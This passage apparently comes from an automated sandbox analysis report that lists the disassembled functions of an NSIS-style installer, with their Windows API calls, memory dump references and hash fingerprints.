                                                                    • API ID: MessageSend
                                                                    • String ID:
                                                                    • API String ID: 3850602802-0
                                                                    • Opcode ID: 0bd6c5a8fdcdf2cf9a6bba33cc7502a6d80b6dcfa2a0e894e00c73e73fb262d4
                                                                    • Instruction ID: 11189a7010c7ef4f551f6273c6f502c25af520ce36bbf29b1e3929f99495605f
                                                                    • Opcode Fuzzy Hash: 0bd6c5a8fdcdf2cf9a6bba33cc7502a6d80b6dcfa2a0e894e00c73e73fb262d4
                                                                    • Instruction Fuzzy Hash: 64F02831A10220DBD7165B349C08B273799BB81354F258637F819F62F2D2B8CC41CB4C
                                                                    Function 00405E7C Relevance: 3.0, APIs: 2, Instructions: 15fileCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetFileAttributesW.KERNELBASE(00000003,004035F3,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 00405E80
                                                                    • CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A73,?), ref: 00405EA2
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: File$AttributesCreate
                                                                    • String ID:
                                                                    • API String ID: 415043291-0
                                                                    • Opcode ID: ea37a1a334eaa57c44c9ac3bd50a12c4681d8f83bf4f6bb47fe7ae46db9ee3b5
                                                                    • Instruction ID: 4537c79132fc6b4e07af9f6f4ddc5e1db4475248beafdc935845b7fb5ee8fdc2
                                                                    • Opcode Fuzzy Hash: ea37a1a334eaa57c44c9ac3bd50a12c4681d8f83bf4f6bb47fe7ae46db9ee3b5
                                                                    • Instruction Fuzzy Hash: 08D09E71558202EFEF098F60DD1AF6EBBA2EB94B00F11852CB252550F1D6B25819DB15
                                                                    Function 00405E5C Relevance: 3.0, APIs: 2, Instructions: 9COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetFileAttributesW.KERNELBASE(?,00406EAD,?,?,?), ref: 00405E60
                                                                    • SetFileAttributesW.KERNEL32(?,00000000), ref: 00405E73
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: AttributesFile
                                                                    • String ID:
                                                                    • API String ID: 3188754299-0
                                                                    • Opcode ID: 5e2af4692c2c60a0182b675181584894d3553f063f17430bbe0abaa40064c643
                                                                    • Instruction ID: cfdb79520ecdf627421b2718222ef799ef1344ba1afc56e39be72dea6d7b0432
                                                                    • Opcode Fuzzy Hash: 5e2af4692c2c60a0182b675181584894d3553f063f17430bbe0abaa40064c643
                                                                    • Instruction Fuzzy Hash: 25C04C71404905BBDA015B34DE09D1BBB66EFA1331B648735F4BAE01F1C7358C65DA19
                                                                    Function 00403336 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,004033D2,000000FF,00000004,00000000,00000000,00000000), ref: 0040334D
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: FileRead
                                                                    • String ID:
                                                                    • API String ID: 2738559852-0
                                                                    • Opcode ID: f617a5e021c5b0a319d386adb8c185e40962a0be4c43712b9beeddd23e90c427
                                                                    • Instruction ID: 6ac59f4cb3fe35c1316d0bdd9a7bfda3bd496f009ebd6252a63c396af269f63e
                                                                    • Opcode Fuzzy Hash: f617a5e021c5b0a319d386adb8c185e40962a0be4c43712b9beeddd23e90c427
                                                                    • Instruction Fuzzy Hash: 17E08C32650118FFDB109EA69C84EE73B5CFB047A2F00C432BD55E5190DA30DA00EBA4
                                                                    Function 004037F8 Relevance: 1.5, APIs: 1, Instructions: 20COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 00406064: CharNextW.USER32(?,*?|<>/":,00000000,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060C7
                                                                      • Part of subcall function 00406064: CharNextW.USER32(?,?,?,00000000), ref: 004060D6
                                                                      • Part of subcall function 00406064: CharNextW.USER32(?,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060DB
                                                                      • Part of subcall function 00406064: CharPrevW.USER32(?,?,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060EF
                                                                    • CreateDirectoryW.KERNELBASE(004E30C8,00000000,004E30C8,004E30C8,004E30C8,-00000002,00403A37), ref: 00403819
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: Char$Next$CreateDirectoryPrev
                                                                    • String ID:
                                                                    • API String ID: 4115351271-0
                                                                    • Opcode ID: ec387b52da79c0d7c7db124e40c02042f93ac80872f0e6df2e3daec6660af043
                                                                    • Instruction ID: c72586207ca4fe3275e323c6ce7a55902ce0015f7edb1a19efdc0f2786dab76c
                                                                    • Opcode Fuzzy Hash: ec387b52da79c0d7c7db124e40c02042f93ac80872f0e6df2e3daec6660af043
                                                                    • Instruction Fuzzy Hash: 52D0921218293121C66237663D0ABCF195C4F92B2EB0280B7F942B61D69B6C4A9285EE
                                                                    Function 00403DDB Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DED
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend
                                                                    • String ID:
                                                                    • API String ID: 3850602802-0
                                                                    • Opcode ID: bd6570ef2729c24474e20ae8e5d55f292f33ecedeb6df88af58882e0072056a2
                                                                    • Instruction ID: 85c9fcbfeeb581dd75f9c62538f5ff43d76368f59f1a6e3d2bff8e12452ff276
                                                                    • Opcode Fuzzy Hash: bd6570ef2729c24474e20ae8e5d55f292f33ecedeb6df88af58882e0072056a2
                                                                    • Instruction Fuzzy Hash: 0FC04C75644201BBDA108B509D45F077759AB90701F1584257615F50E0C674D550D62C
                                                                    Function 00403368 Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SetFilePointer.KERNELBASE(00000000,00000000,00000000,00403786,?,?,?,?,00000000,00403A73,?), ref: 00403376
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: FilePointer
                                                                    • String ID:
                                                                    • API String ID: 973152223-0
                                                                    • Opcode ID: 4bc311ea945a84079b9d2f50dcaf6257f2c75df5904c01363540678bd5f9aa8d
                                                                    • Instruction ID: a45aac6c24818fd8413ddab5752014fb5f73d741524c96ff6ff4c62981ea4fba
                                                                    • Opcode Fuzzy Hash: 4bc311ea945a84079b9d2f50dcaf6257f2c75df5904c01363540678bd5f9aa8d
                                                                    • Instruction Fuzzy Hash: 83B01231640200FFEA214F50DE09F06BB21B794700F208430B350380F082711820EB0C
                                                                    Function 00403DC4 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SendMessageW.USER32(00000028,?,00000001,004057E0), ref: 00403DD2
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend
                                                                    • String ID:
                                                                    • API String ID: 3850602802-0
                                                                    • Opcode ID: 4d265d85d83b9aee7a2860bb21ac42a33598db5d2fcd0833c625a930327cbe25
                                                                    • Instruction ID: 19f7ed481b0b3084dfc48602985d3e47af739273f13ec77122cd0735a5794091
                                                                    • Opcode Fuzzy Hash: 4d265d85d83b9aee7a2860bb21ac42a33598db5d2fcd0833c625a930327cbe25
                                                                    • Instruction Fuzzy Hash: CCB01235181200BBDE514B00DE0AF867F62F7A8701F008574B305640F0C6B204E0DB09
                                                                    Function 00403DB1 Relevance: 1.5, APIs: 1, Instructions: 4COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • KiUserCallbackDispatcher.NTDLL(?,00405779), ref: 00403DBB
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: CallbackDispatcherUser
                                                                    • String ID:
                                                                    • API String ID: 2492992576-0
                                                                    • Opcode ID: afebc9adcdbb38a0c5e5e33596f84c2f2140198a38245a29fea50a5d9e588109
                                                                    • Instruction ID: a171dc49094d5971c6211130fd655c06747b54d01a1b52cbafa865c71f5bacad
                                                                    • Opcode Fuzzy Hash: afebc9adcdbb38a0c5e5e33596f84c2f2140198a38245a29fea50a5d9e588109
                                                                    • Instruction Fuzzy Hash: 2CA001BA845500ABCA439B60EF0988ABA62BBA5701B11897AE6565103587325864EB19

                                                                    Non-executed Functions

                                                                    Function 004049A8 Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 470windowmemoryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetDlgItem.USER32(?,000003F9), ref: 004049BF
                                                                    • GetDlgItem.USER32(?,00000408), ref: 004049CC
                                                                    • GlobalAlloc.KERNEL32(00000040,?), ref: 00404A1B
                                                                    • LoadBitmapW.USER32(0000006E), ref: 00404A2E
                                                                    • SetWindowLongW.USER32(?,000000FC,Function_000048F8), ref: 00404A48
                                                                    • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404A5A
                                                                    • ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404A6E
                                                                    • SendMessageW.USER32(?,00001109,00000002), ref: 00404A84
                                                                    • SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404A90
                                                                    • SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404AA0
                                                                    • DeleteObject.GDI32(?), ref: 00404AA5
                                                                    • SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404AD0
                                                                    • SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404ADC
                                                                    • SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B7D
                                                                    • SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00404BA0
                                                                    • SendMessageW.USER32(?,00001132,00000000,?), ref: 00404BB1
                                                                    • GetWindowLongW.USER32(?,000000F0), ref: 00404BDB
                                                                    • SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404BEA
                                                                    • ShowWindow.USER32(?,00000005), ref: 00404BFB
                                                                    • SendMessageW.USER32(?,00000419,00000000,?), ref: 00404CF9
                                                                    • SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404D54
                                                                    • SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404D69
                                                                    • SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404D8D
                                                                    • SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404DB3
                                                                    • ImageList_Destroy.COMCTL32(?), ref: 00404DC8
                                                                    • GlobalFree.KERNEL32(?), ref: 00404DD8
                                                                    • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404E48
                                                                    • SendMessageW.USER32(?,00001102,?,?), ref: 00404EF6
                                                                    • SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00404F05
                                                                    • InvalidateRect.USER32(?,00000000,00000001), ref: 00404F25
                                                                    • ShowWindow.USER32(?,00000000), ref: 00404F75
                                                                    • GetDlgItem.USER32(?,000003FE), ref: 00404F80
                                                                    • ShowWindow.USER32(00000000), ref: 00404F87
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
                                                                    • String ID: $ @$M$N
                                                                    • API String ID: 1638840714-3479655940
                                                                    • Opcode ID: 232f7ad113cb9ac5efd1b23bb694dfa7ac126bc5f1dc1702430156d0733604ca
                                                                    • Instruction ID: ef4bce446953bc7ec7e60756d12a1063aab4f745b4df8f164389f1335a379dc2
                                                                    • Opcode Fuzzy Hash: 232f7ad113cb9ac5efd1b23bb694dfa7ac126bc5f1dc1702430156d0733604ca
                                                                    • Instruction Fuzzy Hash: 7B028DB090020AAFEF109F95CD45AAE7BB5FB84314F10417AF611BA2E1C7B89D91CF58
                                                                    Function 00406CC7 Relevance: 31.7, APIs: 9, Strings: 9, Instructions: 190filestringCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • DeleteFileW.KERNEL32(?,?,004CF0A0), ref: 00406CE4
                                                                    • lstrcatW.KERNEL32(00467470,\*.*,00467470,?,-00000002,004E30C8,?,004CF0A0), ref: 00406D35
                                                                    • lstrcatW.KERNEL32(?,00409838,?,00467470,?,-00000002,004E30C8,?,004CF0A0), ref: 00406D55
                                                                    • lstrlenW.KERNEL32(?), ref: 00406D58
                                                                    • FindFirstFileW.KERNEL32(00467470,?), ref: 00406D6C
                                                                    • FindNextFileW.KERNEL32(?,00000010,000000F2,?), ref: 00406E4E
                                                                    • FindClose.KERNEL32(?), ref: 00406E5F
                                                                    Strings
                                                                    • Delete: DeleteFile on Reboot("%s"), xrefs: 00406E0C
                                                                    • RMDir: RemoveDirectory("%s"), xrefs: 00406E9B
                                                                    • RMDir: RemoveDirectory on Reboot("%s"), xrefs: 00406EBF
                                                                    • Delete: DeleteFile("%s"), xrefs: 00406DE8
                                                                    • RMDir: RemoveDirectory invalid input("%s"), xrefs: 00406E84
                                                                    • RMDir: RemoveDirectory failed("%s"), xrefs: 00406EDC
                                                                    • ptF, xrefs: 00406D1A
                                                                    • \*.*, xrefs: 00406D2F
                                                                    • Delete: DeleteFile failed("%s"), xrefs: 00406E29
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
                                                                    • String ID: Delete: DeleteFile failed("%s")$Delete: DeleteFile on Reboot("%s")$Delete: DeleteFile("%s")$RMDir: RemoveDirectory failed("%s")$RMDir: RemoveDirectory invalid input("%s")$RMDir: RemoveDirectory on Reboot("%s")$RMDir: RemoveDirectory("%s")$\*.*$ptF
                                                                    • API String ID: 2035342205-1650287579
                                                                    • Opcode ID: a107dcf2f5cda8a7bb449344070620469a6265ca89df76249a653839e461c381
                                                                    • Instruction ID: e61cf0fe73e9c947a39cb72df690d6d83a08ee9d5dae9ef8ba60e8d8024aa79e
                                                                    • Opcode Fuzzy Hash: a107dcf2f5cda8a7bb449344070620469a6265ca89df76249a653839e461c381
                                                                    • Instruction Fuzzy Hash: 3E51D225604305AADB11AB71CC49A7F37B89F41728F22803FF803761D2DB7C49A1D6AE
                                                                    Function 004044D1 Relevance: 30.0, APIs: 15, Strings: 2, Instructions: 300stringkeyboardCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetDlgItem.USER32(?,000003F0), ref: 00404525
                                                                    • IsDlgButtonChecked.USER32(?,000003F0), ref: 00404533
                                                                    • GetDlgItem.USER32(?,000003FB), ref: 00404553
                                                                    • GetAsyncKeyState.USER32(00000010), ref: 0040455A
                                                                    • GetDlgItem.USER32(?,000003F0), ref: 0040456F
                                                                    • ShowWindow.USER32(00000000,00000008,?,00000008,000000E0), ref: 00404580
                                                                    • SetWindowTextW.USER32(?,?), ref: 004045AF
                                                                    • SHBrowseForFolderW.SHELL32(?), ref: 00404669
                                                                    • lstrcmpiW.KERNEL32(0046E220,00451D98,00000000,?,?), ref: 004046A6
                                                                    • lstrcatW.KERNEL32(?,0046E220), ref: 004046B2
                                                                    • SetDlgItemTextW.USER32(?,000003FB,?), ref: 004046C2
                                                                    • CoTaskMemFree.OLE32(00000000), ref: 00404674
                                                                      • Part of subcall function 00405CB0: GetDlgItemTextW.USER32(00000001,00000001,00002004,00403FAD), ref: 00405CC3
                                                                      • Part of subcall function 00406064: CharNextW.USER32(?,*?|<>/":,00000000,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060C7
                                                                      • Part of subcall function 00406064: CharNextW.USER32(?,?,?,00000000), ref: 004060D6
                                                                      • Part of subcall function 00406064: CharNextW.USER32(?,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060DB
                                                                      • Part of subcall function 00406064: CharPrevW.USER32(?,?,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060EF
                                                                      • Part of subcall function 00403EA0: lstrcatW.KERNEL32(00000000,00000000,00476240,004D30A8,install.log,00405AC8,004D30A8,004D30A8,004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000,00000006), ref: 00403EBB
                                                                    • GetDiskFreeSpaceW.KERNEL32(0044DD90,?,?,0000040F,?,0044DD90,0044DD90,?,00000000,0044DD90,?,?,000003FB,?), ref: 00404785
                                                                    • MulDiv.KERNEL32(?,0000040F,00000400), ref: 004047A0
                                                                      • Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,004241C1,771B23A0,00000000), ref: 00406902
                                                                    • SetDlgItemTextW.USER32(00000000,00000400,0040A264), ref: 00404819
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: Item$CharText$Next$FreeWindowlstrcat$AsyncBrowseButtonCheckedDiskFolderPrevShowSpaceStateTaskVersionlstrcmpi
                                                                    • String ID: F$A
                                                                    • API String ID: 3347642858-1281894373
                                                                    • Opcode ID: daaa1e0cefc3b075cc9d96c46cb806b6c5f306674e01b7aa8aee38c956bc084c
                                                                    • Instruction ID: 610cab7253faed09e83e35c18a41c8795a2522a57bd741f73bb79fe4ae4f2c97
                                                                    • Opcode Fuzzy Hash: daaa1e0cefc3b075cc9d96c46cb806b6c5f306674e01b7aa8aee38c956bc084c
                                                                    • Instruction Fuzzy Hash: A3B181B1900209BBDB11AFA1CC85AAF7BB8EF45315F10843BFA05B72D1D77C9A418B59
                                                                    Function 00406EFE Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 270filestringCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406F22
                                                                    • ReadFile.KERNEL32(00000000,?,0000000C,?,00000000), ref: 00406F5C
                                                                    • ReadFile.KERNEL32(?,?,00000010,?,00000000), ref: 00406FD5
                                                                    • lstrcpynA.KERNEL32(?,?,00000005), ref: 00406FE1
                                                                    • lstrcmpA.KERNEL32(name,?), ref: 00406FF3
                                                                    • CloseHandle.KERNEL32(?), ref: 00407212
                                                                      • Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
                                                                      • Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3
                                                                    Strings
                                                                    Memory Dump Source
